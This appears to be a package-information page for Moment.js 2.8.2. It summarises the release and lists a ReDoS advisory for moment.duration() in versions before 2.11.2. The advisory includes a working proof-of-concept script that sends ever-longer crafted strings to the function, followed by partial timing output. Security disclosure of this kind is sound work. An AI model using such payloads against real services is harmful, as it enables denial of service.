Version 2.8.2 Details

Moment.js versions 2.8.1 and 2.8.2, both designed for parsing, manipulating, and displaying dates in JavaScript, share a common foundation but differ slightly in their release timelines. Version 2.8.1 was released on August 1st, 2014, while version 2.8.2 followed on August 22nd, 2014. The core description and functionality remain consistent between the two versions, targeting developers who require a robust date and time manipulation library. Both versions rely on an extensive suite of development dependencies, including Grunt for task automation, Karma for testing, and Nodeunit for unit testing, ensuring code quality and reliability. Developers leveraging Moment.js can utilize these versions for a wide range of date-related operations. The consistent author and repository information further suggest a smooth transition between the versions. The quick release cycle to version 2.8.2 suggests that it may contain bug fixes or minor improvements that are not present in version 2.8.1. Developers keen on stability would be advised to shift to 2.8.2. Consider checking the changelog for specifics.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 2.8.2 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 2.8.2 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
